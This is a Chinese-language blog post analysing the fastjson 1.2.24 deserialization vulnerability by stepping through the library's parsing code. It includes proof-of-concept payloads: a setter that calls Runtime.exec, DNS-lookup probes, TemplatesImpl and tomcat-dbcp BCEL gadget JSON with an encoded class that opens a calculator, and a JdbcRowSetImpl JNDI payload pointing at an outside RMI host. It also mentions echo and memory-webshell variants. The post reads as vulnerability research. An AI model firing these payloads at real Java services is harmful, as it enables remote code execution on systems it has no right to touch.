fastjson 1.2.24漏洞分析

  通过fastjson解析json字符串的流程得知:`@type`对应类名,通过获取`setXxx`或`set_Xxx`方法,对应`xxx`属性,先创建一个类对象,再通过invoke调用`setXxx`方法进行赋值

1. 模拟命令执行

因此只需要找到一个setXxx中存在代码执行的类构造利用链,比如下面这个示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package vuln.POJO;

import java.io.IOException;

public class evilClass {
private String name;
public String getName() {
return name;
}
public void setName(String name) {
//恶意代码
try {
Runtime.getRuntime().exec(name);
} catch (IOException e) {
}
this.name = name;
}
}
1
2
3
4
5
6
7
8
9
10
11
package vuln;

import com.alibaba.fastjson.JSON;
import vuln.POJO.evilClass;

public class poc_1_2_24 {
public static void main(String[] args) {
String poc = "{\"@type\":\"vuln.POJO.evilClass\",\"name\":\"open /System/Applications/Calculator.app\"}";
evilClass object = (evilClass)JSON.parse(poc);
}
}
1

2. 利用链

2.1 DNS请求

1
2
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}

2.1.1 java.net.Inet4Address

直接看java.net.Inet4Address类,并没有找到属性值;通过调试发现,该类并没有走之前那个流程,他的deserializer是系统中默认就有的
于是查看getDeserializer方法,进入this.derializers.get(type);中,遍历所有内置映射好的类;发现其中就包括java.net.Inet4Address

2

2.1.2 补充-内置有deserializer对应的类名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
java.util.concurrent.atomic.AtomicBoolean
com.alibaba.fastjson.JSONObject
byte
java.sql.Date
java.lang.StringBuilder
java.lang.Double
java.sql.Timestamp
java.lang.Cloneable
java.lang.StackTraceElement
java.math.BigDecimal
boolean
java.util.UUID
java.net.URI
java.util.TimeZone
java.util.Map
java.math.BigInteger
java.lang.Long
java.lang.Class
java.io.Closeable
[C
java.io.File
char
java.net.InetSocketAddress
double
java.util.concurrent.atomic.AtomicLong
java.io.Serializable
com.alibaba.fastjson.JSONPath
java.util.concurrent.ConcurrentHashMap
java.util.concurrent.atomic.AtomicReference
java.lang.Integer
java.util.Date
java.util.ArrayList
java.util.Locale
java.lang.Boolean
java.lang.Number
java.util.List
java.util.Currency
java.net.Inet6Address
java.lang.Short
java.util.concurrent.atomic.AtomicLongArray
java.util.concurrent.ConcurrentMap
java.net.Inet4Address
java.util.Collection
java.util.Calendar
java.lang.ref.SoftReference
int
javax.xml.datatype.XMLGregorianCalendar
java.util.regex.Pattern
java.net.InetAddress
short
java.util.concurrent.atomic.AtomicInteger
com.alibaba.fastjson.JSONArray
java.nio.charset.Charset
java.util.LinkedHashMap
java.util.TreeMap
long
java.lang.StringBuffer
java.lang.Comparable
java.text.SimpleDateFormat
float
java.sql.Time
java.lang.ref.WeakReference
java.lang.String
java.util.HashMap
java.lang.Character
java.lang.Byte
java.lang.Object
java.lang.Float
java.util.concurrent.atomic.AtomicIntegerArray
java.net.URL

获取到的类为MiscCodec,因此反序列化的方法在 com.alibaba.fastjson.serializer#deserialze

  • 如下图中,当类是InetSocketAddress时,会单独处理
  • 会判断参数是否为val,然后进入parse.parse()解析流程
3

如图,在解析过程中,判断了类的类型,进入InetAddress.getName(strVal)

4

2.1.2 补充-Inet4Address解析域名

a. InetAddress.getAllByName

a

b. 判断是否为IP地址

b

c. 判断cache中是否有缓存的域名解析地址,如果没有,则通过getAddressesFromNameService解析

cd. 接下来lookupAllHostAddr中就是一些解析域名的操作,先不跟入了

d

2.1.4 java.net.URL

查看MiscCodec反序列化工具类,针对URL类的实例化处理只是new URL,那怎么触发DNS请求呢

5

没有思路的时候,可能是因为没有将反序列化流程完全分析到

  • 首先在创建DefaultJSONParser时,将Set取出,并指定对应的token值
  • 然后在paser方法时,进入指定的SET分支,进入parseArray方法
  • 其中[]@type对应的解析方法和之前一样是parseObject(object, i);
6
完成`@type`的反序列化操作后,进行`HashSet.add`操作
7
`HashSet.add`
8
`HashMap.put`
9
`key(java.net.URL对象).hashCode()`
10
这里就执行到`java.net.URL.hashCode`方法,这样就触发了域名解析;记得不太清楚了,似乎和`readObject`反序列化中的`URLDNS`利用链相似
11
由于整个解析流程,类似于流式结构,因此没有最后一个`]`闭合`Set`也是可以的
1
2
Set[{"@type":"java.net.URL","val":"http://dnslog"}]
Set[{"@type":"java.net.URL","val":"http://dnslog"}

同理,还有两个使用parseArray的解析流程,参照 com.alibaba.fastjson.parser.JSONLexerBase#nextTokenscanIdent方法,对应TreeSet 和 [],但是他们对应的是TreeSetJSONArray;如TreeSet的add方法,会执行Compara方法,需要实现Comparable类,并运行Comparable.compareTo方法,这里想到了readObject CB利用链,暂时放着。

12

2.1.5 poc构造

1
2
3
4
5
{"@type":"java.net.InetAddress","val":"dnslog"}
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
Set[{"@type":"java.net.URL","val":"http://dnslog"}]

2.2 TemplatesImpl利用链

2.2.1 注意私有字段的赋值

默认通过反射进行复制是不能使用私有字段的,此时需要在反序列化时加上Feature.SupportNonPublicField,因此这种利用链不一定在所有的场景都可以用

13

2.2.2 数组类型的变量

当字段值为数组类型时,使用的是ObjectArrayCodec这个类作为反序列化工具类

14
15

base64解码

16
通过序列化去写入一个`byte[]`字段值也可以看到
17
因此这个poc最大的限制在于目标在反序列化时,是否配置允许私有字段的属性,即指定`Feature.SupportNonPublicField` ,如果这项没有指定,那么也就不能使用了;

2.2.3 getOutputProperties

这里再提一下,这个poc的触发点,是这个方法;在之前分析fastjson反序列化流程时,对于getXXX方法也是会提取的,前提是getXXX的方法是没有传参的;

2.2.4 结合CB利用链的新思路

记录一个思路: {“@type”:”org.apache.commons.beanutils.BeanComparator”,”comparator”:{“@type”:”org.apache.commons.collections.comparators.ComparableComparator”},”property”:”outputProperties”}
通过TreeSet触发反序列化,这个看看后续能不能用

1
2
3
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["xxxxxxx"],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes": "xxxxxxx","_name":"p","_tfactory":{},"_outputProperties":{}}
  • 这里类加载的部分就不说了,参考之前反序列化中分析TemplatesImpl的步骤,这里触发类的实例化的地方在getOutputProperties()

2.3 BCEL利用链

2.3.1 BasicDataSource关键类

关键类:org.apache.tomcat.dbcp.dbcp.BasicDataSource
如图,在createConnectionFactory方法调用了Class.forName,其中driverClassNamedriverClassLoader两个私有参数都有对应的Set方法,因此是可控的

18
  • 追踪一下createConnectionFactory 的调用链
e

此时出现一个问题

反序列化类的get方法的调用问题,之前的分析流程中getXXX方法会被提取,其中FieldInfopropertyName是分割getXXX而来,因此不需要必须有对应的字段;
但是直接使用JSON.parse(String str)反序列化中,会对getXXX的返回值进行判断,返回类型只能为CollectionMapAtomicBooleanAtomicIntegerAtomicLong这几个类型;而BasicDataSource#getConnection的返回类型是Connction,因此不满足使用条件

19
#### 2.3.2 JSON.parseObject() 解决上面问题的办法,也有,网上公开的 即在示例代码中将`JSON.parse()`修改为`JSON.parseObject()`,此时触发了代码;但是并不能保证目标都是使用`parseObject`方法去解析
1
2
3
4
5
6
7
8
9
String str = "{\n" +
" \"@type\": \"org.apache.tomcat.dbcp.dbcp.BasicDataSource\",\n" +
" \"driverClassLoader\": {\n" +
" \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
" },\n" +
" \"driverClassName\": \""+bcel+"\"\n" +
" }";
System.out.println(str);
JSON.parseObject(str);
##### 2.3.2.1 JSON.toJSON(obj)
  1. 调试parseObject,如图,parse是一个正常的反序列化解析,后面返回一个JSON.toJSON(obj);
20
##### 2.3.2.2 createJavaBeanSerializer和createASMSerializer中创建sortedGetters
  1. 进入toJSON方法,执行流程 config.getObjectWriter(clazz) -> createJavaBeanSerializer(clazz)
21
22
  1. createJavaBeanSerializer 中关注一下TypeUtils.buildBeanInfo(clazz, null, propertyNamingStrategy);,这里分析这个位置的原因是,从后面的触发点来看,是取的beanInfo中的sortedGetters中的FieldInfo进行操作,因此先看看这些get方法什么时候被取到的
23
  1. 可以看到,这里的computeGetters(beanType, jsonType, aliasMap, fieldCacheMap, false, propertyNamingStrategy);

不管从方法名上还是调试中,都是和获取get相关方法的FieldInfo相关

24
  1. 如图获取了所有的方法,并对方法名进行判断,其中包括一个条件即getXXX的方法,最终构造一个FieldInfo,存入fieldInfoMap中并遍历到fieldInfoList中返回
25
  1. 最终buildBeanInfo返回一个SerializeBeanInfoBeanInfo对象
26
  1. 接下来,在createASMSerializer时,判断接口字段信息是否有field为空、方法不为空,且方法不是实现的接口中的方法时,又进入了new JavaBeanSerializer(clazz)中;
27
28
  1. 完成实例化JavaBeanSerializer后,返回serializer
29
##### 2.3.2.3 FieldInfo.get()方法触发invoke执行
  1. 一路返回,到第二步,这里将sortedGetters中的FieldInfo,放到Map中,即图中的values
30
1
2
3
4
5
6
7
8
9
 public Map<String, Object> getFieldValuesMap(Object object) throws Exception {
Map<String, Object> map = new LinkedHashMap<String, Object>(sortedGetters.length);

for (FieldSerializer getter : sortedGetters) {
map.put(getter.fieldInfo.name, getter.getPropertyValue(object));
}

return map;
}
31
32
进入`FieldInfo.get`方法,这里执行了`invoke`,触发了`getConnection()`方法的调用;也就触发了`org.apache.tomcat.dbcp.dbcp.BasicDataSource#createConnectionFactory`,导致了恶意类加载
33

2.3.3 如何使用JSON.parse()触发

实际场景中,目标不一定使用_JSON.parseObject(String str)_进行解析

2.3.3.1 @Type为JSONObject类时

如图的解析流程中,当@type类型是JSONObject.class时,会调用key.toString()方法

34
2.3.3.2 执行到key.toString()方法

JSONObject这个类标签解析完成后,执行到key.toString()方法

35
执行到`JSON#toJSONString()`方法;进入`new JSONSerializer(out).write(this)`方法
36
2.3.3.3 触发invoke
37
这里看到`getObjectWriter`,就和**2.3.2.2 **类似了;进入`preWriter.writer`方法,跟踪到`propertyValue = fieldSerializer.getPropertyValueDirect(object);`
38
和**2.3.2.3**一样的触发invoke执行代码
39
2.3.3.4 poc构造

poc如下:

1
2
3
4
5
6
7
8
9
10
11
12

{
{
"@type": "com.alibaba.fastjson.JSONObject",
"x":{
"@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "BCELPayload"
}: ""
}

而实际上在最开始的parse()方法中,进入parseObject之前,传入的object就是JSONObject类,因此不需要带上 "@type": "com.alibaba.fastjson.JSONObject"

40

这样便带来一个疑问,@type字段的解析和不带@type的解析有什么区别
如图,传入的object类型是个Map类型,查看一下JSONObject类,确实implements Map接口

41
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
## tomcat6、7
{
{
"x":{
"@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "BCELPayload"
}: ""
}

## > tomcat8
{
{
"x":{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "BCELPayload"
}: ""
}
1
2
3
4
5
6
7
8
9
10
11
12
13
<!--<= tomcat7.x-->
<!-- tomcat6.x的依赖包路径:org.apache.tomcat dbcp 版本号-->
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>7.0.100</version>
</dependency>
<!-->= tomcat8.x-->
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>8.0.1</version>
</dependency>
#### 2.3.4 回显和内存马EXP 首先可以确定的是,能用这个利用链肯定有tomcat的dbcp包,所以构造一下tomcat的回显和内存马即可
2.3.4.1 恶意代码块位置

之前在构造shiro反序列化的时候,会将代码都放到默认构造方法中,因为最终会生成实例化对象,但是这里只是Class.forName(String name),查看这个方法,实际上默认执行Class.forName(String name) 相当于

1
Class.forName(String name, true, ClassLoader.getClassLoader(Reflection.getCallerClass()))

因此会执行static中的代码块

42
使用案例测试一下
43
2.3.4.2 弹出计算器
1
2
3
4
5
6
7
8
9
{{
"x":{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$Ae$90$cdJ$c3$40$U$85$cfm$da$s$c6$d6$feh$fd$5b$v$I$a6$$$9a$85$cb$W$a1$U$5c$v$8a$R$5dO$c7$a1LM$93$90LE$9f$c8u7$w$$$7c$A$lJ$bc$J$F$L$O3s$b8$973$df$e1$ce$f7$cf$e7$X$80S$ec$Thh$83$I$cd$a9x$S$7e$u$a2$89$7f5$9e$wilX$E7$88$e7$a9T$e7$3aT$84$ea$b0$97$9b$I$ce$40$86$3a$d2$e6$8c$60y$dd$3bBy$U$3f$b0$a1$f5$c7$b8$99GF$cf$94$N$97$n$Te$965$a1$e3u$_$fe$d9$fa5$d4Pw$b1$8e$N$82$X$t$w$3a$f0$83$97$cc$a8$99$3fL$92PKat$ie$feH$84r$k$K$T$a7$3d$91$q$O$9a$i$ad$9e$95$q$i$7b$x$d4$c0$a4$3a$9a$f4W$83$ae$d3X$aa$y$e3$a066$f3$a0$zB$3d0B$3e$5e$8a$e4V$8c$8b$f9$G$c5P5$ec$c0qQ$c6$$$OQb$cdW$J$Ol$3e$845$ae$8e$60q$Hh$bc$f2$t$5d$7c$a0$d1n$bd$a1s$bf$e0$Wa$9bo$L$c4$3b$H$z_$b4X$89$b5r$f2$8e$bdE$81$qT$Kp$f5$X$Rg$_$92$8e$B$A$A" }
}: ""
}
44
2.3.4.3 回显
45
2.3.4.4 内存马

还未构造,和Tomcat一样

2.4 JdbcRowSetImpl利用链

2.4.1 JNDI调用

如图JdbcRowSetImpl#connect中触发JNDI请求,dataSourceName是参数

46

2.4.2 触发链setAutoCommit

47

2.4.3 Poc

1
2
3
4
5
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://dnslog.cn",
"autoCommit" true;
}